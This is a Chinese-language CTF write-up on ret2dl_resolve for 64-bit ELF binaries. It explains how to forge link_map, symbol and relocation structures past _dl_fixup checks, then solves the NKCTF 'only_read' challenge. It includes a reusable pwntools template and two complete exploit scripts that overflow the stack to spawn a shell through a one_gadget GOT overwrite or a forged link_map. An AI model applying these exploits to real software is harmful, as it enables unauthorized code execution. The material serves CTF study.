伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置
也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system
伪造st_value Elf64_Sym结构体
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Word st_name; p32 unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; p16 Elf64_Addr st_value; p64 Elf64_Xword st_size; p64 } Elf64_Sym;
st_value_addr == Sym_addr + 0x8
所以,设置got表地址-0x8处为Sym_addr,则设置value为got表上的值
此时,st_orther不为0,可以绕过check
伪造link_map link_map结构体(简略版)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> ptype l type = struct link_map { Elf64_Addr l_addr; char *l_name; Elf64_Dyn *l_ld; struct link_map *l_next ; struct link_map *l_prev ; struct link_map *l_real ; Lmid_t l_ns; struct libname_list *l_libname ; ⭐Elf64_Dyn *l_info[76 ]; ... size_t l_tls_firstbyte_offset; ptrdiff_t l_tls_offset; size_t l_tls_modid; size_t l_tls_dtor_count; Elf64_Addr l_relro_addr; size_t l_relro_size; unsigned long long l_serial; struct auditstate l_audit []; } *
主要目的:控制l_addr为已解析函数与想要执行的目标函数的偏移值
但是,伪造的link_map要合规,通过_dl_fixup的检测,所以需要进一步的伪造
_dl_fixup的check
1 2 3 4 5 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
满足1:reloc->r_info == 0x7
,在对应处伪造即可
满足2:sym->st_other & 0x03 != 0
,当st_value伪造成功时即可
_dl_fixup的正常使用
1 2 3 4 5 6 7 8 const ElfW (Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
此时情况:保证l->l_addr是我们想要的值,但又没法泄露libc
需要控制符号表symtab
以及reloc->r_info
,为了控制,需要伪造DT_SYMTAB
和DT_JMPREL
需要伪造strtab
指向可控地址,为了控制,需要伪造DT_STRTAB
pwndbg动态调试查看三个指针的位置
DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
需要伪造Elf64_Sym
结构体,Elf64_Rela
结构体,且DT_JMPREL指向Elf64_Dyn
,所以也要伪造
还需要伪造reloc_offset==0
模板 在No Relro的情况下,可以直接改写.dynamic的DT_STRTAB,不考虑,碰到再说
题目: Partial RELRO,No-pie
根据利用思路2,搓模板
1 2 3 4 5 6 7 #include <unistd.h> void main (void ) { char buff[20 ]; read(0 , buff, 0x90 ); }
思考:
在仅有一次read机会时,可以使用的东西有哪些;
Gadget: pop;ret + leave_ret + 函数got地址
地址: bss段地址,fake_linkmap_addr
动态链接: Dynsym,Jmprel,Strtab
该如何控制
sym->st_value等于某个got上已经解析了的函数的那一表项
l->l_addr设置为目标与已解析函数的偏移值
伪造位于link_map+0x68的DT_STRTAB指针,使strtab为可读的地址
伪造位于link_map+0x70的DT_SYMTAB指针
伪造位于link_map+0xf8的DT_JMPREL指针
之后就是伪造.dynamic中的DT_SYMTAB结构体和DT_JMPREL结构体以及函数所对应的Elf64_Rela结构体
为了方便,在构造的过程中一般将reloc_arg作为0来进行构造
在伪造link_map前,先伪造好三个重定位表及对应地址
伪造.dynamic里的重定位表项
fake_dyn_JMPREL = p64(0) + p64(fake_rela_addr)
伪造重定位表
fake_rela = p64(r_offset) + p64(0x7) + p64(0)
伪造符号表
fake_dyn_SYM = p32(0) + p32(0xffffffff) + p64(st_value-0x8) + p64(0)
模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 pop_rdi = 0x401683 pop_rsi = 0x401681 read_addr = 0x4013C4 leave_ret = 0x00000000004013c2 read_got = elf.got['read' ] plt_load = 0x0000000000401026 bss = 0x404060 link_map_addr = bss + 0x100 l_addr = libc.sym['system' ] - libc.sym['read' ] r_offset = link_map_addr - l_addrdef Fake_Link_map (link_map_addr, l_addr, st_value ): fake_dyn_STR_addr = p64(link_map_addr) fake_dyn_JMPREL_addr = p64(link_map_addr+0x8 ) fake_rela_addr = link_map_addr+0x18 fake_dyn_SYM_addr = p64(link_map_addr+0x30 ) fake_dyn_JMPREL = p64(0 ) + p64(fake_rela_addr) fake_rela = p64(r_offset) + p64(0x7 ) + p64(0 ) fake_dyn_SYM = p32(0 ) + p32(0xffffffff ) + p64(st_value-0x8 ) + p64(0 ) link_map = p64(l_addr&(2 **64 -1 )) link_map += fake_dyn_JMPREL link_map += fake_rela link_map += fake_dyn_SYM link_map += b"\x00" *0x20 link_map += fake_dyn_STR_addr link_map += fake_dyn_SYM_addr link_map += b"/bin/sh\x00" link_map += b'\x00' * 0x78 link_map += fake_dyn_JMPREL_addr return link_map payload = b'a' *0x38 payload += p64(pop_rsi) + p64(link_map_addr) + p64(0 ) payload += p64(pop_rdi) + p64(0 ) payload += p64(read_plt) payload += p64(read_addr) sl(payload) fake_link_map = Fake_Link_map(link_map_addr, l_addr, read_got) pause() sl(fake_link_map) ROP = b'a' * 0x38 ROP += p64(pop_rdi) + p64(link_map_addr + 0x78 ) ROP += p64(plt_load) + p64(link_map_addr) + p64(0 ) pause() sl(ROP)
例题:NKCTF-only_read 有一条更方便的rop链,同时学习ret2dl_reslove
分析 保护
1 2 3 4 5 6 7 chen@chen:~/桌面/match/NK/only_read$ checksec ./pwn [*] '/home/chen/桌面/match/NK/only_read/pwn' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int __cdecl main (int argc, const char **argv, const char **envp) { char s1[64 ]; char s[64 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x30 uLL); base_decode(s, s1); if ( strcmp (s1, "Welcome to NKCTF!" ) ) return 0 ; memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x30 uLL); base_decode(s, s1); if ( strcmp (s1, "tell you a secret:" ) ) return 0 ; memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x40 uLL); base_decode(s, s1); if ( strcmp (s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9" ) ) return 0 ; memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x40 uLL); base_decode(s, s1); if ( !strcmp (s1, "can you find me?" ) ) next(); return 0 ; }ssize_t next () { char buf[48 ]; return read(0 , buf, 0x200 uLL); }
base_decode(s, s1)
输入s,输出s1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 __int64 __fastcall base_decode (__int64 a1, __int64 a2) { int v2; int v3; int v4; unsigned __int8 s; unsigned __int8 v7; unsigned __int8 v8; unsigned __int8 v9; unsigned __int8 i; unsigned int v11; int v12; v12 = 0 ; v11 = 0 ; while ( *(_BYTE *)(v12 + a1) ) { memset (&s, 255 , 4uLL ); for ( i = 0 ; i <= 0x3F u; ++i ) { if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + a1) ) s = i; } for ( i = 0 ; i <= 0x3F u; ++i ) { if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + 1LL + a1) ) v7 = i; } for ( i = 0 ; i <= 0x3F u; ++i ) { if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + 2LL + a1) ) v8 = i; } for ( i = 0 ; i <= 0x3F u; ++i ) { if ( aAbcdefghijklmn[i] == *(_BYTE *)(v12 + 3LL + a1) ) v9 = i; } v2 = v11++; *(_BYTE *)(v2 + a2) = (v7 >> 4 ) & 3 | (4 * s); if ( *(_BYTE *)(v12 + 2LL + a1) == 61 ) break ; v3 = v11++; *(_BYTE *)(v3 + a2) = (v8 >> 2 ) & 0xF | (16 * v7); if ( *(_BYTE *)(v12 + 3LL + a1) == 61 ) break ; v4 = v11++; *(_BYTE *)(v4 + a2) = v9 & 0x3F | (v8 << 6 ); v12 += 4 ; } return v11; }
思路 四段base64校验,之后一个栈溢出
Toka:有可以直接利用的ROP链
题目Partial RELRO且NO PIE,可以直接通过修改got表地址的低五位,定位到one_gadget
利用csu2的gadget2控制寄存器rbx为read_got到one_gadget的偏移,rbp为read_got+0x3d
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
错位获取gadget,通过rbp定位read_got,设置为one_gadget地址
1 2 $ ROPgadget --binary ./pwn | grep 'add' 0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
调用read函数
套ret2dl_resolve模板,这个模板构造很繁琐,涉及动态链接的相关东西,学习一下
exp1-easy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *from ctypes import * libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) banary = "./pwn" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() base_1 = "V2VsY29tZSB0byBOS0NURiE=" base_2 = "dGVsbCB5b3UgYSBzZWNyZXQ6" base_3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45" base_4 = "Y2FuIHlvdSBmaW5kIG1lPw==" s(base_1) sleep(0.1 ) s(base_2) sleep(0.1 ) s(base_3) sleep(0.1 ) s(base_4) sleep(0.1 )""" # .text:000000000040167A pop rbx # .text:000000000040167B pop rbp # .text:000000000040167C pop r12 # .text:000000000040167E pop r13 # .text:0000000000401680 pop r14 # .text:0000000000401682 pop r15 # .text:0000000000401684 ret """ pop_rbx_p5 = 0x40167A change_read = 0x000000000040117c read_got = 0x404028 """ 0x7f7885fa6afe <execvpe+638>: mov rdx,r12 #rdx=0 0x7f7885fa6b01 <execvpe+641>: mov rsi,r15 #rsi=0 0x7f7885fa6b04 <execvpe+644>: lea rdi,[rip+0xd0ab2] #rdi="/bin/sh" 0x7f7885fa6b0b <execvpe+651>: call 0x7f7885fa6170 <execve> """ offset = 0xFFFFFFFFFFFD5B3E call_read = 0x40146E debug() payload = b"a" *48 + p64(read_got+0x3d ) payload += p64(pop_rbx_p5) + p64(offset) + p64(read_got+0x3d ) + p64(0 )*4 payload += p64(change_read) payload += p64(call_read) sl(payload) pi()
exp2-ret2dl_reslove 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 from pwn import *from ctypes import * libc = ELF('./libc-2.31.so' ) banary = "./pwn" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() base_1 = "V2VsY29tZSB0byBOS0NURiE=" base_2 = "dGVsbCB5b3UgYSBzZWNyZXQ6" base_3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45" base_4 = "Y2FuIHlvdSBmaW5kIG1lPw==" s(base_1) sleep(0.1 ) s(base_2) sleep(0.1 ) s(base_3) sleep(0.1 ) s(base_4) sleep(0.1 ) read_plt = elf.plt['read' ] read_got = elf.got['read' ] read_addr = 0x4013C4 pop_rdi = 0x401683 pop_rsi = 0x401681 ''' .plt:0000000000401026 F2 FF 25 E3 2F 00 00 bnd jmp cs:qword_404010 .plt:0000000000401026 .plt:0000000000401026 sub_401020 endp .plt:0000000000401026 ''' plt_load = 0x0000000000401026 bss = 0x404060 link_map_addr = bss + 0x100 l_addr = libc.sym['system' ] - libc.sym['read' ] r_offset = link_map_addr - l_addrdef Fake_Link_map (link_map_addr, l_addr, st_value ): fake_dyn_STR_addr = p64(link_map_addr) fake_dyn_JMPREL_addr = p64(link_map_addr+0x8 ) fake_rela_addr = link_map_addr+0x18 fake_dyn_SYM_addr = p64(link_map_addr+0x30 ) fake_dyn_JMPREL = p64(0 ) + p64(fake_rela_addr) fake_rela = p64(r_offset) + p64(0x7 ) + p64(0 ) fake_dyn_SYM = p32(0 ) + p32(0xffffffff ) + p64(st_value-0x8 ) + p64(0 ) link_map = p64(l_addr&(2 **64 -1 )) link_map += fake_dyn_JMPREL link_map += fake_rela link_map += fake_dyn_SYM link_map += b"\x00" *0x20 link_map += fake_dyn_STR_addr link_map += fake_dyn_SYM_addr link_map += b"/bin/sh\x00" link_map += b'\x00' * 0x78 link_map += fake_dyn_JMPREL_addr return link_map debug() payload = b'a' *0x38 payload += p64(pop_rsi) + p64(link_map_addr) + p64(0 ) payload += p64(pop_rdi) + p64(0 ) payload += p64(read_plt) payload += p64(read_addr) sl(payload) fake_link_map = Fake_Link_map(link_map_addr, l_addr, read_got) pause() sl(fake_link_map) ROP = b'a' * 0x38 ROP += p64(pop_rdi) + p64(link_map_addr + 0x78 ) + p64(plt_load) ROP += p64(link_map_addr) + p64(0 ) pause() sl(ROP) pi()